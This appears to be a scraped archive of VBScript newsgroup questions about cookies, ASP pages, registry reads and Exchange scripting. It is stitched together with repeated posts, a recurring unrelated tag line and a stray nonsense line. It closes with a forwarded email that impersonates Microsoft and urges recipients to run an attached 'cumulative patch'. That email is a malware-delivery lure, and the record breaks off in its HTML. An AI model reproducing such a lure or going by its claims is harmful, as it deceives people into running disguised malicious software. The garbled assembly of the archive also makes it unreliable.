Cookie questions
A few questions relating to cookies, web scripting, and VBS. (When I ask
"how" I specifically mean "how with VBS on MSIE".)
1. How do you set cookies? Also
1a. How do you set an expiration date?
1b. How do you set multiple values?
1c. How do you limit site access? Specifically, my URL is in the form
"users.server.com/~username/" - can I limit my cookie so that it
can't be accessed by "/~user2/"?
1d. Can you set a cookie from a local file (saved to hdd)?
2. How do you delete cookies (programmatically)?
3. Can you dump an array into a cookie without having to step through
each element?
3a. If so, how do you retrieve them back into an array?
4. Is there any way that personally-identifiable info could get set into
my cookie without me knowing it? (The only info I plan on setting is
the above-mentioned array).
5. Is there a size limit for cookies? (Currently, my info ranges from a
few bytes to ~60KB, and the max will most likely increase with time.)
--
auric "underscore" "underscore" "at" hotmail "dot" com
*****
Are you NUTS!? Don't you realize that Granny here STOLE my BRAIN!? You can't join forces with her! Tag: List of files owned by spec. user Tag: 144409
Apply to All Folders - programatically
Hi,
I am wondering does anybody know how to do the following:
1. Open Windows Explorer.
2. Choose Tools - Folder Options...
3. Click View.
4. Then Either Select "Apply to All Folders" or "Reset All Folders"
I have found the registry settings to achive 1-3 above. (Although would be
happier to find a more approved way of doing this). However have not been
able to work out how step 4 works. Is their either a registry setting, a
windows API call or VBScript function that can achieve this?
Thanks,
Ward. Tag: List of files owned by spec. user Tag: 144403
Newbie question - deleting all emails/posts in an Exchange public folder
Hi,
I don't expect anyone to spell it out for me...but can someone
point me in the right direction with regards to deleting all posts in an
exchange 2000 public folder? What functions should I be looking at?
Also, is there a good vbscript primer/crash course about? I have a C
background.
Thanks in advance.
Cheers
Scott Tag: List of files owned by spec. user Tag: 144402
Advice on client and server code
Dear All
[Please ignore the post before this post... Ooooopsss!]
I have created a calendar asp page accessing a SQL server database and all
works well, probably more by luck than good coding. I am able to view the
data displayed on the asp page, but my question is more of a design
structure question than a pure coding one.
I have created an asp page with the following structure:
<HTML>
<HEAD>
<% LANGUAGE = VBScript %>
<!-- #INCLUDE FILE="ADOVBS.INC" -->
Dim I, etc.
Variables Declared
<SCRIPT LANGUAGE=VBScript RUNAT=Server>
Functions To load Data into array
</SCRIPT>
</HEAD>
<%
Code to call the functions above
%>
<BODY>
Creates the calendar with data from above.
</BODY>
</HTML>
I get confused with the difference between <% LANGUAGE = VBScript %> and
<SCRIPT LANGUAGE=VBScript RUNAT=Server>. When should I use the former and
when the latter? How and when should I include external vbScript text files
so the code can be read at the server side and a separate script at the
client side?
The HTML I would want produced would be:
<HTML>
<HEAD>
<TITLE>Calendar </TITLE>
<SCRIPT LANGUAGE=VBScript SRC="AdditionalCode.vbs">
</SCRIPT>
</HEAD>
</BODY>
</HTML>
Where to you add the reference to the vbs file in the page so it is read at
the client side and where for the server side?
I hope I have not confused you all too much and you understand what I am
trying to ask. Well done for sticking with this post!
Kagsy Tag: List of files owned by spec. user Tag: 144401
Client & Server code question
Dear All
I have created a calendar asp page accessing a SQL server database and all
works well, probably more by luck than good coding. I am able to view the
data displayed on the asp page, but my question is more of a design
structure question than a pure coding one.
I have created an asp page with the following structure:
<HTML>
<HEAD>
<% LANGUAGE = VBScript %>
<!-- #INCLUDE FILE="ADOVBS.INC" -->
Dim I, etc.
Variables Declared
<SCRIPT LANGUAGE=VBScript RUNAT=Server>
Functions To load Data into array
</SCRIPT>
</HEAD>
<%
Code to call the functions above
%>
<BODY>
Creates the calendar with data from above.
</BODY>
</HTML>
I get confused with the difference between <% LANGUAGE = VBScript %> and
<SCRIPT LANGUAGE=VBScript RUNAT=Server>. When should I use the former and
when the latter? How and when should I include external vbScript text files
so the code can be read at the server side and a separate script at the
client side?
The HTML I would want produced would be:
<HTML>
<HEAD>
<TITLE>Calendar </TITLE>
<SCRIPT LANGUAGE=VBScript SRC="AdditionalCode.vbs">
</SCRIPT>
</HEAD>
</BODY>
</HTML>
Where to you add the reference to the vbs file in the page so it is read at
the client side and where for the server side?
I hope I have not confused you all too much and you understand what I am
trying to ask. Well done for sticking with this post!
Kagsy Tag: List of files owned by spec. user Tag: 144400
Client & Server code question
Dear All
I have created a calendar asp page accessing a SQL server database and all
works well, probably more by luck than good coding. I am able to view the
data displayed on the asp page, but my question is more of a design
structure question than a pure coding one.
I have created an asp page with the following structure:
<HTML>
<HEAD>
<% LANGUAGE = VBScript %>
<!-- #INCLUDE FILE="ADOVBS.INC" -->
Dim I, etc.
Variables Declared
<SCRIPT LANGUAGE=VBScript RUNAT=Server>
Functions To load Data into array
</SCRIPT>
</HEAD>
<%
Code to call the functions above
%>
<BODY>
Creates the calendar with data from above.
</BODY>
</HTML>
I get confused with the difference between <% LANGUAGE = VBScript %> and
<SCRIPT LANGUAGE=VBScript RUNAT=Server>. When should I use the former and
when the latter? How and when should I include external vbScript text files
so the code can be read at the server side and a separate script at the
client side?
The HTML I would want produced would be:
<HTML>
<HEAD>
<TITLE>Calendar </TITLE>
<SCRIPT LANGUAGE=VBScript SRC="AdditionalCode.vbs">
</SCRIPT>
</HEAD>
</BODY>
</HTML>
Where to you add the reference to the vbs file in the page so it is read at
the client side and where for the server side?
I hope I have not confused you all too much and you understand what I am
trying to ask. Well done for sticking with this post!
Kagsy Tag: List of files owned by spec. user Tag: 144399
speed of string comparisons
Is a binary compare strComp faster or slower than a text compare for
simple text strings? Tag: List of files owned by spec. user Tag: 144389
Urgent Help on Rotate Text
Dear all,
I'm not sure whether this question I should be posting
here, but hopefully can get help from you all.
I'm having a problem here. The problem is that I want to
rotate a text horizontally, for example 'ABCD' into 'DCBA'
but it is in horizontally way, because it is for printing
a report.
Needed help urgently.
Thanks in advance.
Mae Tag: List of files owned by spec. user Tag: 144385
Quick and clean, help needed ..
Im totaly green when it comes to scripting, and im looking for a small
script that would look in the registry at
HKEY_USERS\S-1-5-21-1957994488-484763869-854245398-500\Software\Microsoft\In
ternet Explorer
and see the data in the Download Directory key then open that folder in my
computer or explorer, what ever is easier.
Does anyone have a time to punch it out ?
Im sorry about asking for it complete I usualy dont do this, but I kinda
need it asap,
otherwise I would try to learn how myself...
Thanks Allott !
Glenn H Tag: List of files owned by spec. user Tag: 144378
date input mask
The date input mask "00\/00\/0099" with wrong date return a different date
instead an error. E.g.: 31/04/03 return 03/04/1931! Is there a reason?
Thanks.
Sandrobi Tag: List of files owned by spec. user Tag: 144376
VBScript in a JavaScript page.
Hi,
I have a JavaScript page in which I would like to include VBscript
code. Is this possible? If it is possible, then how will I declare the
language type so that the browser can understand and final question
lets say I am hosting my page thru X server and my page uses database
which is located on Y server, both the servers are 3rd party servers.
Is it possible for me to link the database on Y server thru my page on
X server??
Thanx
--AV Tag: List of files owned by spec. user Tag: 144372
Script number of users in each mailbox store
How is everyone doing today. IM looking for a script that
will be able to list the amount of users per mailbox store
in exchange 2000. Tag: List of files owned by spec. user Tag: 144369
Curious
The HTML below contains a table with 2 rows. Each row has
the same id. (id="r1")
The following Subroutine will display the number of
elements that have id's set to "r1" only if 2 or more
exist... but will error out if only one exists.
Changing the value of one of the id's to something
different will cause the Sub to error-out. Why will it not
return a collection-length of "1"? Is this a bug?
----------------------------------------------------------
<html>
<head>
<title></title>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<meta HTTP-EQUIV="Expires" CONTENT="0">
<script language = "VBscript">
Sub Test
set a = document.all.item("r1")
msgbox a.length
End Sub
</script>
<body>
<input type="button" value="Display Total" onClick="Test">
<br>
<br>
<table width="100%" border="1" cellspacing="0"
cellpadding="4">
<tr>
<td id="r1">Row 1 </td>
</tr>
<tr>
<td id="r1">Row 2 </td>
</tr>
</table>
</body>
</html> Tag: List of files owned by spec. user Tag: 144361
Good VBScript Debugger
Hi
I just started using VBScript and I am in need of a good
debugger. I have used the ones that come with Excel VBA.
Can anyone recommend one?
Thanks
Jack Tag: List of files owned by spec. user Tag: 144360
How to replace PivotTable data fields...?
Hi,
I'm progamming a pivot table using VBA. I have no problem manipulating
column or row fields, but how can I replace a data field? Everything I try
just adds the data field to the existing data field resulting in a mess.
The PivotTable.addfields methods *replaces* whatever columns were previously
designated as RowFields, ColumnFields, and PageFields with the new
specifications, as in:
.AddFields RowFields:="Date", PageFields:="Location"
But no matter what I try, I can't replace the data field.... I've even tried
setting the Orientation property to xlHidden, as follows:
' Hide existing data fields
For each pf In .DataFields
Debug.Print "deleting pf", pf.Name
pf.Orientation = xlHidden
'pf.Delete ' I tried deleting too
Next
They key is that I need to do this via code. I can easily do it by using the
Excel GUI. I recorded the resulting code - Excel was hidding the field by
setting its Orientation property to xlHidden. Why doesn't that work for me?
Many thanks in advance,
Robert Stober Tag: List of files owned by spec. user Tag: 144351
FWD: Install internet patch for Microsoft Internet Explorer
--ljbomhqnwysilceq
Content-Type: multipart/related; boundary="crzciceclzwxi";
type="multipart/alternative"
--crzciceclzwxi
Content-Type: multipart/alternative; boundary="afgfaxecoc"
--afgfaxecoc
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Client
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three new vulnerabilities.
Install now to help protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your system.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
--afgfaxecoc
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:buzwspd" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Client<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three new vulnerabilities.
Install now to help protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your system.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D&qu